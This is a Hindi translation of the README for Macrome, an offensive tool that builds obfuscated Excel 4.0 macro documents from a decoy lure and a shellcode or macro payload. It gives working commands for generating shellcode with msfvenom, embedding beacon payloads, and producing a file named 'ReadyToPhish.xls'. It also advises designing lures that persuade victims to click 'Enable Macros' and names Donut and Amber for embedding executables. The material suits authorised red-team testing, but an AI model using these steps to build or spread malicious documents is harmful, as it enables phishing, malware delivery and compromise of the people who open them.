Macrome

एक रेड टीम सदस्यों और विश्लेषकों के लिए एक्सेल मैक्रो दस्तावेज़ पाठक/लेखक। इस टूल के वास्तविक कार्य का वर्णन करने वाले ब्लॉग पोस्ट यहाँ और यहाँ पाए जा सकते हैं।

स्थापना / निर्माण

इस रिपॉजिटरी को क्लोन या डाउनलोड करें, फिर टूल को dotnet का उपयोग करके चलाया जा सकता है - उदाहरण के लिए:

dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin 

या

dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls

ध्यान दें कि इसके लिए कॉन्फ़िगर किए गए अनुसार कार्य करने के लिए dotnet के 5.0+ बिल्ड की आवश्यकता है - इसे https://dotnet.microsoft.com/download/dotnet/5.0 से प्राप्त किया जा सकता है।

टूल के बाइनरी रिलीज़ जिन्हें dotnet की आवश्यकता नहीं है और जिनमें एक्ज़ीक्यूटेबल बाइनरी है, Windows, OSX और Linux के लिए Release अनुभाग में पाए जा सकते हैं।

उपयोग

मैक्रोम को या तो समाधान निर्देशिका से dotnet run का उपयोग करके, या निर्मित मैक्रोम बाइनरी के विरुद्ध dotnet का उपयोग करके चलाएँ। मैक्रोम के लिए ऑपरेशन के तीन मोड हैं - बिल्ड मोड, डंप मोड और डीओबफसकेशन मोड।

बिल्ड मोड

प्रदान किए गए डिकॉय दस्तावेज़ और मैक्रो पेलोड का उपयोग करके एक ऑबफस्केटेड मैक्रो शीट वाला एक्सेल दस्तावेज़ उत्पन्न करने के लिए मैक्रोम को build कमांड के साथ चलाएँ। dotnet Macrome.dll build -h पूर्ण उपयोग निर्देश प्रदर्शित करेगा।

उदाहरण के लिए, डिकॉय दस्तावेज़ path/to/decoy_document.xls और path/to/shellcode.bin पर संग्रहीत बाइनरी x86 शेलकोड का उपयोग करके एक दस्तावेज़ बनाने के लिए, dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin चलाएँ। यह एक XLS 2003 दस्तावेज़ उत्पन्न करेगा जो खोलने और "Enable Content" बटन दबाने के बाद, shellcode.bin के शेलकोड को निष्पादित करेगा।

मुझे इसे कैसे चलाना चाहिए?

बाकी दस्तावेज़ प्रत्येक फ़्लैग/फ़ंक्शन को विस्तार से समझाएगा, लेकिन अभी Macrome द्वारा प्रदान की जाने वाली "नवीनतम और सर्वश्रेष्ठ" सुविधा निम्नलिखित चलाकर प्राप्त की जा सकती है:

Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls

बाइनरी पेलोड उपयोग

पहले एक आधार "डिकॉय" एक्सेल दस्तावेज़ बनाएँ जिसमें उपयोगकर्ताओं को देखने के लिए सामग्री हो। यह किसी प्रकार का लालच होना चाहिए जो उपयोगकर्ताओं को एक्सेल में प्रदर्शित "Enable Macros" बटन पर क्लिक करने के लिए राजी करे। https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets- पर "नवीनतम और सर्वश्रेष्ठ" लालच निर्माण के कुछ उदाहरण हैं। यह शीट बनाने के बाद, दस्तावेज़ को नए Excel Workbook (*.xlsx) प्रारूप के बजाय Excel 97-2003 Workbook (*.xls) प्रकार के रूप में सहेजें। एक उदाहरण डिकॉय दस्तावेज़ /Docs/decoy_document.xls में शामिल है। ध्यान दें कि यदि आप अपने दस्तावेज़ की सुरक्षा के लिए XOR ओबफस्केशन का उपयोग कर रहे हैं, तो आप वर्तमान में अपने डिकॉय में कोई छवि नहीं जोड़ सकते।

इसके बाद, टूल को प्रदान करने के लिए एक शेलकोड पेलोड उत्पन्न करें। उदाहरण बाइनरी पेलोड (जो कैल्क खोलता है) निम्नलिखित मापदंडों का उपयोग करके msfvenom के साथ उत्पन्न किया गया था:

 msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

64-बिट पेलोड भी समर्थित हैं। उदाहरण 64-बिट पेलोड, popcalc64.bin, निम्न कमांड का उपयोग करके उत्पन्न किया गया था:

msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

इस पेलोड को फिर निम्न कमांड निष्पादित करके एम्बेड किया जा सकता है:

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin

वर्तमान में 64-बिट पेलोड के लिए आवश्यक है कि एक x86 पेलोड भी प्रदान किया जाए। यदि यह कोई समस्या नहीं है, तो आप x86 पेलोड फ़्लैग के लिए कोई कचरा भी निर्दिष्ट कर सकते हैं।

दस्तावेज़ में सीधे .NET असेंबली एम्बेड करने के लिए अंततः समर्थन है, लेकिन यदि आप अभी ऐसा करना चाहते हैं तो मैं EXCELntDonut का उपयोग करने का सुझाव देता हूँ।

Macrome 0.5.0 और उससे ऊपर के संस्करणों में, सभी पेलोड को base64 के साथ एनकोड किया जाएगा, इसलिए आपका पेलोड किसी भी बाइट अनुक्रम (शून्य बाइट्स सहित) को शामिल कर सकेगा।

एक्ज़ीक्यूटेबल एम्बेड करना

यदि आप Macrome का उपयोग करके .NET एक्ज़ीक्यूटेबल एम्बेड करना चाहते हैं, तो मैं Donut का उपयोग करने का सुझाव देता हूँ जिसमें कमांड donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe हो, और फिर परिणामी पेलोड को अपने 32-बिट और 64-बिट दोनों पेलोड के रूप में एम्बेड करें।

एक और ठोस विकल्प Amber है जो काफी बड़े Go बाइनरी को एम्बेड करने के लिए बढ़िया काम करता है।

लीगेसी पेलोड एनकोडिंग

यदि किसी कारण से आप pre-Macrome 0.5.0 के लीगेसी पेलोड एनकोडिंग मोड का उपयोग करना चाहते हैं, तो --payload-method फ़्लैग का उपयोग SheetPackingMethod के साथ करें। ध्यान दें कि लीगेसी मोड में अधिकांश अल्फ़ा-न्यूमेरिक पेलोड का उपयोग करने से उत्पन्न मैक्रो फ़ाइल का आकार कम हो जाएगा क्योंकि =CHAR(123)&CHAR(124)&CHAR(125)... आदि की तरह बार-बार CHAR फ़ंक्शन कॉल जोड़ने के बजाय अक्षरों और संख्याओं को मैक्रो रूप में व्यक्त करना आसान होता है। लेकिन टूल को पूरी तरह से अप्रिंटेबल बाइनरी पेलोड को भी संभालने में सक्षम होना चाहिए।

मैक्रो पेलोड उपयोग

बाइनरी पेलोड उपयोग के समान, पहले एक डिकॉय दस्तावेज़ उत्पन्न किया जाना चाहिए। इसके बाद, चलाने के लिए मैक्रो वाली एक टेक्स्ट फ़ाइल बनाई जानी चाहिए। मैक्रो में कॉलम ; वर्णों द्वारा और पंक्तियाँ न्यूलाइन द्वारा अलग की जानी चाहिए। वर्तमान में निर्दिष्ट मैक्रो की सामग्री A1 से शुरू होकर लिखी और निष्पादित की जाएगी - हालाँकि भविष्य में प्रारंभ स्थान निर्दिष्ट करने की अनुमति देने के लिए समर्थन जोड़ा जाएगा। उदाहरण मैक्रो /Docs/macro_example.txt और /Docs/multi_column_macro_example.txt में पाए जा सकते हैं।

अंत में कमांड चलाएँ:

dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro

payload-type फ़्लैग के Macro पर सेट उपयोग पर ध्यान दें।

आप स्वयं एक मैक्रो उत्पन्न कर सकते हैं, या आप अपने लिए मैक्रो बनाने के लिए अद्भुत EXCELntDonut टूल का उपयोग कर सकते हैं।